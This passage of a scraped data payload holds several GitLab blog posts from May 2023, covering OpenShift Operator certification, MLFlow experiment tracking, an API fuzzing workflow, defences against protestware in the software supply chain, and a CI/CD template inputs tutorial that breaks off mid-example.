Home","en-us/blog/overhauling-the-navigation-is-like-building-a-dream-home.yml","en-us/blog/overhauling-the-navigation-is-like-building-a-dream-home",{"_path":10231,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10232,"content":10238,"config":10243,"_id":10245,"_type":16,"title":10246,"_source":17,"_file":10247,"_stem":10248,"_extension":20},"/en-us/blog/gitlab-operator-red-hat-certification",{"title":10233,"description":10234,"ogTitle":10233,"ogDescription":10234,"noIndex":6,"ogImage":10235,"ogUrl":10236,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10236,"schema":10237},"GitLab Operator certified by Red Hat OpenShift","The GitLab Operator is now certified by Red Hat’s OpenShift standards, allowing users to install GitLab directly on an OpenShift cloud cluster.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682717/Blog/Hero%20Images/bi_worldwise_casestudy_image.png","https://about.gitlab.com/blog/gitlab-operator-red-hat-certification","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Operator certified by Red Hat OpenShift\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dilan Orrino\"}],\n        \"datePublished\": \"2023-05-11\",\n      }",{"title":10233,"description":10234,"authors":10239,"heroImage":10235,"date":10240,"body":10241,"category":813,"tags":10242},[4516],"2023-05-11","\nGitLab and Red Hat have been technology partners for more than two years, collaborating on a number of projects. GitLab first started its integration with Red Hat’s OpenShift cloud-based container platform by introducing the [GitLab Runner Operator](https://catalog.redhat.com/software/container-stacks/detail/5e9877e96c5dcb34dfbb1ac9) in GitLab Version 13.3. The Runner Operator offered the capability to run pipeline tasks from an external GitLab instance to OpenShift clusters.\n\nOur next step was to more closely integrate with the OpenShift platform and alleviate the need to require the GitLab instance to run external to OpenShift-based infrastructure. [The GitLab Operator](https://docs.gitlab.com/operator/) is now certified by Red Hat, which enables the capability to install an instance of GitLab inside of an OpenShift cloud cluster.\n\n## Benefits of GitLab with Red Hat OpenShift\n\nThe [Operator framework](https://operatorframework.io/about/) offers many benefits, but the main reason we identified is that it would allow us to run a self-managed instance of GitLab inside an OpenShift cluster. The GitLab DevSecOps platform can be operated on the same trusted infrastructure as other applications and services within a customer's organization. \n\nThe Operator framework also delivers a streamlined installation and seamless version upgrades. As the GitLab Operator continues to be developed, we hope to add other elements of the Operator framework such as backup and recovery, comprehensive metrics, and auto-tuning and auto-scaling. GitLab plans to align our future cloud-native deployment model behind our Operator.\n\n![Capability model](https://about.gitlab.com/images/blogimages/gitlaboperatorcapabilitymodel.png){: .shadow}\n\n\n## Details of the Red Hat certification\n\nThe Red Hat Certification included aligning our application components with Red Hat’s Universal Base Image (UBI) when deploying through the Red Hat Marketplace. The Red Hat Certification also included meeting all of [Red Hat’s policy requirements](https://access.redhat.com/documentation/en-us/red_hat_software_certification/8.61#con-operator-requirements_openshift-sw-cert-policy-products-managed). The certification signifies GitLab being supported on OpenShift in collaboration with Red Hat. The Operator as a deployment method will be available as a recommended choice in Q3, but is available for testing now.\n\n## A technical milestone\n\nThe GitLab application is complex, so building an Operator to deploy it was a technical achievement for the GitLab and Red Hat engineering teams. Completing this operator certification is a significant milestone and gives customers the confidence and assurance that GitLab runs effectively, jointly supported by Red Hat, on OpenShift.\n\n![GitLab Operator install screen](https://about.gitlab.com/images/blogimages/gitlaboperatorinstall.png){: .shadow}\n\n\n## Try the GitLab Operator\n\n[The GitLab Operator](https://docs.gitlab.com/operator/) is available now for testing in the OpenShift console via the embedded OperatorHub, and will be production ready for GitLab instances in Q3 2023. Check out the [catalog listing](https://catalog.redhat.com/software/container-stacks/detail/5ec3fcb08b6f188e53644c0f) for links to documentation and installation instructions. For a self-managed free trial to host GitLab on your OpenShift cluster, [submit this form](/free-trial/?hosted=self-managed).\n",[282,815,3949],{"slug":10244,"featured":6,"template":678},"gitlab-operator-red-hat-certification","content:en-us:blog:gitlab-operator-red-hat-certification.yml","Gitlab Operator Red Hat Certification","en-us/blog/gitlab-operator-red-hat-certification.yml","en-us/blog/gitlab-operator-red-hat-certification",{"_path":10250,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10251,"content":10256,"config":10261,"_id":10263,"_type":16,"title":10264,"_source":17,"_file":10265,"_stem":10266,"_extension":20},"/en-us/blog/track-machine-learning-model-experiments",{"title":10252,"description":10253,"ogTitle":10252,"ogDescription":10253,"noIndex":6,"ogImage":8601,"ogUrl":10254,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10254,"schema":10255},"Track ML model experiments with new GitLab MLFlow integration","Track the many versions of your machine learning models on GitLab using the MLFlow client.","https://about.gitlab.com/blog/track-machine-learning-model-experiments","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Track ML model experiments with new GitLab MLFlow integration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Eduardo Bonet\"}],\n        \"datePublished\": \"2023-05-11\",\n      }",{"title":10252,"description":10253,"authors":10257,"heroImage":8601,"date":10240,"body":10259,"category":791,"tags":10260},[10258],"Eduardo Bonet","\n\n\u003Ci>This blog is the latest post in an ongoing series about GitLab’s journey to \u003Ca href=\"/blog/ai-ml-in-devsecops-series/\">build and integrate AI/ML into our DevSecOps platform\u003C/a>. The first blog post can be found \u003Ca href=\"/blog/what-the-ml-ai/\">here\u003C/a>. Throughout the series, we’ll feature blogs from our product, engineering, and UX teams to showcase how we’re infusing AI/ML into GitLab.\u003C/i>\n\nThe GitLab DevSecOps platform now features [Machine Learning Model Experiments](https://docs.gitlab.com/ee/user/project/ml/experiment_tracking/), which is avaliable to all GitLab users, making GitLab a powerful tool for creating ML models. Organizations can now track the many versions of their ML models within the GitLab user interface, using the open source [MLFlow](https://github.com/mlflow/mlflow).\n\n\u003Cimg src=\"/images/blogimages/2023-05-11-gitlab-model-experiments/experiment.png\" alt=\"Model experiment\" style=\"border: 1px solid gray;\">\n\n## What is an ML model?\n\nAn ML model is the result of three components: code to extract the patterns from the data, the data where the \npatterns are extracted from, and the configuration used for both, often called \"hyperparameters\". Any change to any of these components can \nlead to changes in the model performance, and keeping track of all of these parts and the results can be challenging. \nExperiment tracking aims to make sense of this confusion by keeping a record of all of the variations created, \nalong with the artifacts and results of each trial.\n\n[MLFlow](https://github.com/mlflow/mlflow) is a popular open source solution for ML experiment tracking, \nproviding a client to log different model versions and their metadata. However, it puts the cost of deployment and managing \nits server onto the users.\n\nGitLab makes the tracking process easier not by deploying a managed MLFlow backend, but by \u003Ci>being an MLFlow backend itself\u003C/i>. This marries the best of both worlds: Data scientists don't need to learn yet another client as their code requires minimal to no changes, while GitLab provides everything else. There is no need to manage a server or to implement user management, so there is no need to configure your artifact storage –  this is all provided by the GitLab DevSecOps platform.\n\n## ML model experiment features in GitLab 16.0\n\nWatch this overview of the available features in 16.0:\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/uxweU4zT40c\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n- **Create experiments and candidates using the MLFlow client**: Simply point the MLFlow client to your GitLab project and experiments and runs will be recorded on GitLab, with no additional setup necessary and no need to create a server. Note that MLFlow runs are called \"candidates\" in GitLab, as each of them is a candidate to become a version of a model.\n\n- **User access management**: Experiments are tied to a GitLab project, making it easy to control which users have access to which models. \n\n- **Manage candidates directly on the GitLab UI**: Search and explore your logged experiments on GitLab, using the UI you already know.\n\n- **Download candidate data as a CSV**: Data scientists that want to explore or create reports on an experiment can download the necessary data as a CSV file.\n\nTo get started, refer to the [documentation](https://docs.gitlab.com/ee/user/project/ml/experiment_tracking/#machine-learning-model-experiments).\n\n### More to come\n\nGitLab wants to help you manage the entire lifecycle of your machine learning model from creation to packaging, deployment, and monitoring. \nFor more information on what we are working on, keep an eye on the MLOps Incubation Engineering [handbook page](/handbook/engineering/incubation/mlops/) and on our [YouTube playlist](https://www.youtube.com/playlist?list=PL05JrBw4t0KpC6-JQy8lY4tNAZKXBaM_-).\n\nMachine Learning Model Experiments is an experimental feature available to all GitLab tiers, and we are looking for feedback so please [comment in this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/381660).\n\nContinue reading our \"[AI/ML in DevSecOps](/blog/ai-ml-in-devsecops-series/)\" series.\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[790,479,232,754],{"slug":10262,"featured":6,"template":678},"track-machine-learning-model-experiments","content:en-us:blog:track-machine-learning-model-experiments.yml","Track Machine Learning Model Experiments","en-us/blog/track-machine-learning-model-experiments.yml","en-us/blog/track-machine-learning-model-experiments",{"_path":10268,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10269,"content":10274,"config":10281,"_id":10283,"_type":16,"title":10284,"_source":17,"_file":10285,"_stem":10286,"_extension":20},"/en-us/blog/building-gitlab-with-gitlab-api-fuzzing-workflow",{"title":10270,"description":10271,"ogTitle":10270,"ogDescription":10271,"noIndex":6,"ogImage":6418,"ogUrl":10272,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10272,"schema":10273},"Building GitLab with GitLab: Web API Fuzz Testing","Our new series shows how we dogfood new DevSecOps platform features to ready them for you. First up, security testing.","https://about.gitlab.com/blog/building-gitlab-with-gitlab-api-fuzzing-workflow","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Building GitLab with GitLab: Web API Fuzz Testing\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mike Eddington\"},{\"@type\":\"Person\",\"name\":\"Eugene Lim\"}],\n        \"datePublished\": \"2023-05-09\",\n      }",{"title":10270,"description":10271,"authors":10275,"heroImage":6418,"date":10278,"body":10279,"category":734,"tags":10280},[10276,10277],"Mike Eddington","Eugene Lim","2023-05-09","\n\nAt GitLab, we try to [dogfood everything](/handbook/product/product-processes/#dogfood-everything) to help us better understand the product, pain points, and configuration issues. We use what we learn to build a more efficient, feature-rich platform and user experience. In this first installment of our “Building GitLab with GitLab” series, we will focus on security testing. We constantly strive to improve our security testing coverage and integrate it into our DevSecOps lifecycle. These considerations formed the motivation for the API fuzzing dogfooding project at GitLab. By sharing our lessons from building this workflow, we hope other teams can also learn how to integrate GitLab’s Web API Fuzz Testing and solve some common challenges.\n\n## What is Web API Fuzz Testing?\n\nWeb API Fuzz Testing involves generating and sending various unexpected input parameters to a web API in an attempt to trigger unexpected behavior and errors in the API backend. By analyzing these errors, you can discover bugs and potential security issues missed by other scanners that focus on specific vulnerabilities. GitLab's Web API Fuzz Testing complements and should be run in addition to GitLab Secure’s other security scanners such as static application security testing ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/)) and dynamic application security testing ([DAST](https://docs.gitlab.com/ee/user/application_security/dast/)) APIs.\n\n## Auto-generating an OpenAPI specification\nTo run the Web API Fuzzing Analyzer, you need one of the following:\n* OpenAPI Specification - Version 2 or 3\n* GraphQL Schema\n* HTTP Archive (HAR)\n* Postman Collection - Version 2.0 or 2.1\n\nAt the start of the API fuzzing project, the [API Vision working group](/company/team/structure/working-groups/api-vision/) was also working on an issue to automatically document [GitLab’s REST API endpoints in an OpenAPI specification](https://gitlab.com/groups/gitlab-org/-/epics/8636), so we worked with our colleague Andy Soiron on implementing it. Because GitLab uses the [grape](https://github.com/ruby-grape/grape) API framework, Andy had already identified and [tested](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/95877) the [grape-swagger](https://github.com/ruby-grape/grape-swagger) gem that auto-generates an OpenAPI v2 specification based on existing grape annotations. For example, the following API endpoint code:\n\n```\n     Class.new(Grape::API) do\n       format :json\n       desc 'This gets something.'\n       get '/something' do\n         { bla: 'something' }\n       end\n       add_swagger_documentation\n     end\n``` \nWill be parsed by grape-swagger into:\n\n```\n{\n  // rest of OpenAPI v2 specification\n  …\n  \"paths\": {\n    \"/something\": {\n      \"get\": {\n        \"description\": \"This gets something.\",\n        \"produces\": [\n          \"application/json\"\n        ],\n        \"operationId\": \"getSomething\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"This gets something.\"\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n\nHowever, with almost 2,000 API operations with different requirements and formats, a lot of additional work needed to be done to resolve edge cases that did not meet the requirements of grape-swagger or the OpenAPI format. For example, one simple case was API endpoints that accept file parameters, such as the [upload metric image endpoint](https://docs.gitlab.com/ee/api/issues.html#upload-metric-image). GitLab uses the [Workhorse](https://gitlab.com/gitlab-org/gitlab/tree/master/workhorse) smart reverse proxy to handle \"large\" HTTP requests such as file uploads. As such, file parameters must be of the type WorkhorseFile:\n\n\n```\nnamespace ':id/issues/:issue_iid/metric_images' do\n            …\n            desc 'Upload a metric image for an issue' do\n              success Entities::IssuableMetricImage\n            end\n            params do\n              requires :file, type: ::API::Validations::Types::WorkhorseFile, desc: 'The image file to be uploaded'\n              optional :url, type: String, desc: 'The url to view more metric info'\n              optional :url_text, type: String, desc: 'A description of the image or URL'\n            end\n            post do\n              require_gitlab_workhorse!\n```\n\nBecause grape-swagger does not recognize what OpenAPI type WorkhorseFile corresponds to, it excludes the parameter from its output. We fixed this by adding a grape-swagger-specific documentation to override the type during generation:\n\n```\n             requires :file, type: ::API::Validations::Types::WorkhorseFile, desc: 'The image file to be uploaded', documentation: { type: 'file' }\n```\n\nHowever, not all edge cases could be resolved with a simple match-and-replace in the grape annotations. For example, Ruby on Rails supports wildcard segment parameters. A route like `get 'books/*section/:title'` would match`books/some/section/last-words-a-memoir`. In addition, the URI would be parsed such that the `section` path parameter would have the value `some/section` and the `title` path parameter would have the value `last-words-a-memoir`.\n\nCurrently, grape-swagger does not recognize these wildcard segments as path parameters. For example, the route would generate:\n\n```\n\"paths\": {\n  \"/api/v2/books/*section/{title}\": {\n    \"get\": {\n    ...\n      \"parameters\": [\n         {\n           \"in\": \"query\", \"name\": \"*section\"\n           ...\n  }\n}\n```\n\nInstead of the expected:\n\n```\n\"paths\": {\n  \"/api/v2/books/{section}/{title}\": {\n    \"get\": {\n    ...\n      \"parameters\": [\n         {\n           \"in\": \"path\", \"name\": \"section\"\n           ...\n  }\n}\n```\n\nAs such, we also needed to make several patches to grape-swagger, which we forked while waiting for the changes to be accepted upstream. Nevertheless, with lots of careful checking and cooperation across teams, we managed to get the OpenAPI specification generated for most of the endpoints.\n\n## Performance tuning\n\nWith the OpenAPI specification, we could now begin with the API fuzzing. GitLab already uses the [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/) feature to generate testing environments for some feature changes, providing a readily available fuzzing target. However, given the large number of endpoints, it would be impossible to expect a standard shared runner to complete fuzzing in a single job. The Web API Fuzz Testing documentation includes a [performance tuning section](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/#performance-tuning-and-testing-speed) that recommends the following:\n\n* using a multi-CPU Runner\n* excluding slow operations\n* splitting a test into multiple jobs\n* excluding operations in feature branches, but not default branch\n\nThe first recommendation was easy to implement with a dedicated fuzzing runner. We recommend doing this for large scheduled fuzzing workflows, especially if you select the Long-100 fuzzing profile. We also began excluding slow operations by checking the job logs for the time taken to complete each operation. Along the way, we identified other endpoints that needed to be excluded, such as the [revoke token endpoint](https://docs.gitlab.com/ee/api/personal_access_tokens.html#revoke-a-personal-access-token) that prematurely ended the fuzzing session.\n\nSplitting the test into multiple jobs took the most effort due to the requirements of the OpenAPI format. Each OpenAPI document includes a required set of objects and fields, so it is not simply a matter of splitting after a fixed number of lines. Additionally, each operation relies on entities defined in the definitions object, so we needed to ensure that when splitting the OpenAPI specification, the entities required by the endpoints were included. We also wrote a quick script to fill the example parameter data with actual data from the testing environment, such as project IDs.\n\nWhile it was possible to run these scripts locally, then push the split jobs and OpenAPI specifications to the repository, this created a large number of changes every time we updated the original OpenAPI specification. Instead, we adapted the workflow to use dynamically generated child pipelines that would split the OpenAPI document in a CI job, then generate a child pipeline with jobs for each split document. This made iterating a lot easier and more agile. We have uploaded [the scripts and pipeline configuration](https://gitlab.com/eugene_lim/api-fuzzing-dogfooding) for reference.\n\nBy tweaking the number of parallel jobs and fuzzing profile, we were eventually able to achieve a reasonably comprehensive fuzzing session in an acceptable time frame. When tuning your own fuzzing workflow, balancing these trade-offs is essential.\n\n## Triaging the API fuzzing findings\n\nWith the fuzzing done, we were now confronted with hundreds of findings. Unlike DAST analyzers that try to detect specific vulnerabilities, Web API Fuzz Testing looks for unexpected behavior and errors that may not necessarily be vulnerabilities. This is why fuzzing faults discovered by the API Fuzzing Analyzer show up as vulnerabilities with a severity of “Unknown.” This requires more involved triaging.\n\nFortunately, the Web API fuzzer also outputs Postman collections as artifacts in the Vulnerability Report page. These collections allow you to quickly repeat requests that triggered a fault during fuzzing. For this stage of the fuzzing workflow, we recommend that you set up a local instance of the application so that you can easily check logs and debug specific faults. In this case, we ran the [GitLab Development Kit](https://gitlab.com/gitlab-org/gitlab-development-kit).\n\nMany of the faults occurred due to a lack of error handling for unexpected inputs. We created issues from the Vulnerability Report page, and if we found that a particular fault had the same root cause as a previously triaged fault, we linked the vulnerability to the original issue instead.\n\n## Lessons learned\n\nThe API fuzzing dogfooding project turned out to be a fruitful exercise that benefited other workstreams at GitLab, such as the API documentation project. In addition, tuning and triaging helped us identify key pain points in the process for improvement. Automated API documentation generation is difficult even with OpenAPI, particularly on a long-lived codebase. GitLab’s existing annotations and tests helped speed up documentation via a distributed, asynchronous workflow across multiple teams. In addition, many GitLab features such as Review Apps, Vulnerability Reports, and dynamically generated child pipelines helped us build a robust fuzzing workflow.\n\nThere are still many improvements that can be made to the workflow. Moving to OpenAPI v3 could improve endpoint coverage. The Secure team also wrote a [HAR Recorder](https://gitlab.com/gitlab-org/security-products/har-recorder) tool that could help generate HAR files on the fly instead of relying on static documentation. For now, due to the high compute cost of fuzzing thousands of operations in GitLab’s API, the workflow is better suited to a scheduled pipeline instead of GitLab’s core pipeline.\n\nFor teams that have already implemented several layers of static and dynamic checks and want to take further steps to increase coverage, we recommend trying a Web API fuzzing exercise as a way to validate assumptions and discover “unknown unknowns” in your code.\n\nWe encourage you to get familiar with API fuzzing and let us know how it works for you. If you face any issues or have any feedback, please file an issue at the [issue tracker on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/). Use the `~\"Category:API Security\"` label when opening a new issue regarding API fuzzing to ensure it is quickly reviewed by the appropriate team members.\n",[676,674,676,942,696],{"slug":10282,"featured":6,"template":678},"building-gitlab-with-gitlab-api-fuzzing-workflow","content:en-us:blog:building-gitlab-with-gitlab-api-fuzzing-workflow.yml","Building Gitlab With Gitlab Api Fuzzing Workflow","en-us/blog/building-gitlab-with-gitlab-api-fuzzing-workflow.yml","en-us/blog/building-gitlab-with-gitlab-api-fuzzing-workflow",{"_path":10288,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10289,"content":10294,"config":10298,"_id":10300,"_type":16,"title":10301,"_source":17,"_file":10302,"_stem":10303,"_extension":20},"/en-us/blog/rise-of-protestware",{"title":10290,"description":10291,"ogTitle":10290,"ogDescription":10291,"noIndex":6,"ogImage":9591,"ogUrl":10292,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10292,"schema":10293},"Protestware threats: How to protect your software supply chain","Some people protest for change by changing code others depend on throughout the software supply chain. Learn more about protestware, its impact, and how to protect against it.","https://about.gitlab.com/blog/rise-of-protestware","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Protestware threats: How to protect your software supply chain\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Abubakar Siddiq Ango\"}],\n        \"datePublished\": \"2023-05-09\",\n      }",{"title":10290,"description":10291,"authors":10295,"heroImage":9591,"date":10278,"body":10296,"category":962,"tags":10297},[2816],"\n\nIn 2016, the continuous integration (CI) pipelines of millions of projects failed because a developer decided to pull their projects from npm package registry in [protest of a request to take down or rename one of their packages](https://www.theregister.com/2016/03/23/npm_left_pad_chaos/). In January 2022, the maintainer of the widely used 'colors' and 'faker' packages on the npm registry modified [these projects](https://blog.sonatype.com/npm-libraries-colors-and-faker-sabotaged-in-protest-by-their-maintainer-what-to-do-now?hsLang=en-us), adding malicious code that infinitely printed gibberish in protest of corporations who use open source projects without giving back. These are two examples of \"protestware,\" a term that refers to software packages or applications that have been intentionally modified to send a political message. The impacts may range from seeing unexpected messages in a terminal or logs when building an application to serious adverse impacts like data deletion. \n\nWhile protestware remained rare for a long time, recent high-profile incidents have brought it back into the spotlight. Similar code injection variants like [typosquatting](https://www.kaspersky.com/resource-center/definitions/what-is-typosquatting) packages (as in the case of the [colors npm](https://www.mend.io/resources/blog/new-typosquating-attack-on-npm-package-colors-using-cross-language-technique-explained/) package, where bad actors created compromised clones of packages with similar names) and compromised packages (as in the case of the [ctx PyPI packages](https://www.theregister.com/2022/05/24/pypi_ctx_package_compromised/)) are usually perpetrated by bad actors looking to cause harm. Protestware is unusual in that the custodians of projects trusted by the community have allowed or made these changes. Regardless of whether the changes' impacts are harmful, such changes raise ethical concerns and can create unwanted distractions. These risks also reinforce the need for open source consumers to adopt a [zero trust security model](/blog/why-devops-and-zero-trust-go-together/) for their software supply chain. Trust, but verify!\n\nThe world is going through unprecedented movements demanding change, and change seekers will find new and often disruptive ways to be heard, as we have seen in the case of everything from climate activism to TikTok challenges. Software supply chains are not exempt and, as we have learned from past incidents, being proactive is key to staying secure.\n\nHere are some steps you can take to protect your software supply chain by ensuring your dependencies are secure.\n\n## Implement dependency scanning\n\n[Dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) is now an industry standard, and there is no shortage of tools or libraries to scan your packages, containers, or any other binary formats for vulnerabilities. Using GitLab CI’s [`rules:exists`](https://docs.gitlab.com/ee/ci/yaml/#rulesexists) rule, GitLab checks for the presence of certain files to determine the appropriate scans to check for vulnerabilities. Coupled with [Vulnerability Reports](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/), [Policy Management](https://docs.gitlab.com/ee/user/application_security/policies/index.html#policy-management), and the [Security Dashboard](https://docs.gitlab.com/ee/user/application_security/security_dashboard/index.html), your security team and organization can stay ahead of vulnerabilities. To include dependency scanning in your CI pipeline, add the following lines to your `.gitlab-ci.yml` file. You can explore the [Dependency Scanning CI template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Dependency-Scanning.gitlab-ci.yml) to understand how it works. \n\n```\n\ninclude:\n\n  template: Jobs/Dependency-Scanning.gitlab-ci.yml\n\n```\n\nRunning the CI script against an example [Ruby on Rails project](https://gitlab.com/gitlab-de/playground/ruby-rails-demo) with Ruby 3.0.4, the [Vulnerability Report](https://gitlab.com/gitlab-de/playground/ruby-rails-demo/-/security/vulnerability_report/?scanner=GitLab.DEPENDENCY_SCANNING) shows more than 70 vulnerabilities detected for the dependencies in the project’s [Gemfile](https://gitlab.com/gitlab-de/playground/ruby-rails-demo/-/blob/master/Gemfile).\n\n\n![Vulnerability Report Image](https://about.gitlab.com/images/blogimages/2023-04-rise-of-protestware/vulnerability-report.png \"Vulnerability Report Image\")\n\n\n## Generate provenance validations\n\nUsers of packages can verify they are not downloading a compromised version using [artifact attestation](https://docs.gitlab.com/ee/ci/runners/configure_runners.html#artifact-attestation), which was [introduced in GitLab Runner 15.1](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/28940/). Attestation metadata is generated in the [in-toto format](https://github.com/in-toto/attestation); it provides [provenance](https://slsa.dev/provenance/v0.2) attesting to how a binary was built, and you can verify the artifacts against the provenance. This allows you to achieve [Level 2](/blog/achieve-slsa-level-2-compliance-with-gitlab/) of the Supply-chain Levels for Software Artifacts ([SLSA](https://slsa.dev/)) security framework. \n\nThe demo video below shows how to configure your CI script to generate artifact attestation metadata.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/MlIdqrDgI8U\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n\n## Utilize private registries\n\n[Self-hosting registries](https://docs.gitlab.com/ee/user/packages/) for packages, container images, or your Terraform modules are a more secure way of ensuring secure and vetted packages are used by your team. Security and compliance teams are enabled to ensure total control of the dependencies used in the entire organization and how they are accessed with [package registry permissions](https://docs.gitlab.com/ee/user/packages/package_registry/index.html#package-registry-visibility-permissions). GitLab supports container, infrastructure, and package registries. Package registries supported include Composer (PHP), Conan (C/C++), Generic, Maven (Java), npm (NodeJS), NuGet (Windows packaging), PyPI (Python), and RubyGems (Ruby).\n\n## Enable Dependency Proxy\nThe [Dependency Proxy](https://docs.gitlab.com/ee/user/packages/dependency_proxy/index.html) reduces the number of requests made to upstream dependency registries by acting as a local proxy. This reduces the impact of changes or vulnerabilities in the upstream packages, as a clean version will still be stored in the Dependency Proxy’s cache. This offers faster build times, since the cache is most likely closer to the build system that needs the image, and it ensures continuity when an upstream registry is having downtime or enforcing rate limits — as in the case of [Docker Hub](https://docs.docker.com/docker-hub/download-rate-limit/), which has a limit of 100 container image pulls per 6 hours per IP address container image for anynomous users as of the time of writing this article.\n\nYou can enable Dependency Proxy in the Packages and Registries section of a group’s settings. Only an administrator can enable/disable the Dependency Proxy for a GitLab instance. \n\n![Dependency Proxy setting image](https://about.gitlab.com/images/blogimages/2023-04-rise-of-protestware/dependency-proxy.png \"Dependency Proxy Setting Image\")\n\n\nTo use the Dependency Proxy in your CI script, you can use the `CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX` predefined variable as shown below:\n\n```\n\n# .gitlab-ci.yml\n\nimage: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/ubuntu:latest\n\n```\n\nThe GitLab Runner automatically authenticates with the Dependency Proxy, but if your use case requires manual authentication, like building container images, you can use other predefined CI/CD variables as detailed in the [documentation](https://docs.gitlab.com/ee/user/packages/dependency_proxy/index.html).\n\nGitLab is also working on leveraging the Dependency Proxy to give more control to security teams with the [Dependency Firewall](https://about.gitlab.com/direction/package/#dependency-firewall), which will allow for control of how upstream packages are used and how they impact the organization. Package validation and version management can be managed from a central location without impacting the workflow of users.\n\nProactively instrumenting your software development lifecycle to ensure continuous review of your application along with controls is critical to keeping your software supply chain secure and preventing production problems due to protestware.\n",[943,6141,674,479],{"slug":10299,"featured":6,"template":678},"rise-of-protestware","content:en-us:blog:rise-of-protestware.yml","Rise Of Protestware","en-us/blog/rise-of-protestware.yml","en-us/blog/rise-of-protestware",{"_path":10305,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10306,"content":10311,"config":10316,"_id":10318,"_type":16,"title":10319,"_source":17,"_file":10320,"_stem":10321,"_extension":20},"/en-us/blog/use-inputs-in-includable-files",{"title":10307,"description":10308,"ogTitle":10307,"ogDescription":10308,"noIndex":6,"ogImage":9684,"ogUrl":10309,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10309,"schema":10310},"Define input parameters to includable CI/CD configuration files","This is the first milestone of the long-term roadmap of the CI/CD Components Catalog roadmap.","https://about.gitlab.com/blog/use-inputs-in-includable-files","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Define input parameters to includable CI/CD configuration files\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2023-05-08\",\n      }",{"title":10307,"description":10308,"authors":10312,"heroImage":9684,"date":10313,"body":10314,"category":734,"tags":10315},[691],"2023-05-08","\nIn GitLab 15.11, we introduced an exciting new feature that allows users to [define input parameters for includable configuration files](/releases/2023/04/22/gitlab-15-11-released/#define-inputs-for-included-cicd-configuration). With the ability to use input parameters in [CI templates](https://docs.gitlab.com/ee/development/cicd/templates.html), you can replace any keyword in the template with a parameter, including stage, script, or job name. For example, you can add a prefix to all of the jobs to better isolate them from the pipeline into which you are including the configuration.\n\nThese input parameters can be declared as mandatory or optional for each configuration file, reducing the need for global variables and making your CI/CD templates more robust and isolated. The input parameters are scoped to the included configuration only, which means they have no impact on the rest of the pipeline. This allows you to declare and enforce constraints, for example by enforcing mandatory inputs for templates.\n\nThis development is the first milestone of the long-term roadmap of the [CI/CD Components Catalog](https://gitlab.com/groups/gitlab-org/-/epics/7462), a new feature that will allow users to search and reuse single-purpose CI/CD configuration units with specific parameters for their use case. If you want to learn more about this exciting new development, you can read our [blog post about our CI templates feature](/blog/how-to-build-reusable-ci-templates/).\n\nIn this technical blog post, we will provide step-by-step instructions on how to define CI/CD templates with input parameters and how to use them when including templates.\n\n## Step 1: Create a template YAML document\nThe first step is to create a template YAML document that describes what input arguments can be used with the template. The second part of the template is the definition of the jobs that may include references to values using the interpolation format `$[[ inputs.input-name ]]`. You should use three dash lines between the two parts.\n\nHere is an example of a deploy-template.yml:\n\n```yaml\nspec:\n  inputs:\n    website:\n    environment:\n      default: test\n---\ndeploy:\n  stage: deploy\n  script: echo \"deploy $[[ inputs.website ]] to $[[ inputs.environment ]]\"\n```\n\nIn this template, we have defined two input parameters: website and environment. The environment parameter has a default value. In the content section, we define a job that interpolates the input arguments.\n\n## Step 2: Include the template in the CI configuration\nIn your main CI configuration file `.gitlab-ci.yml`, include the template and add input parameters using the `inputs` keyword.\n\nHere is an example of including the `deploy-template.yml` with input parameters:\n\n```yaml\ninclude:\n  - local: deploy-template.yml\n    inputs:\n      website: my-website.example.com\n```\n\nIn this example, we included a local template in our project. Note: You can use `inputs` with the other [include types](https://docs.gitlab.com/ee/ci/yaml/index.html#include) such as `include:project`, `include:template`, `include:remote`.\n\nIn the below example, we use inputs to add a prefix to jobs name, and make the stage dynamic as well.\n\n```yaml\nspec:\n  inputs:\n    website:\n    environment:\n      default: staging\n    stage:\n      default: test\n    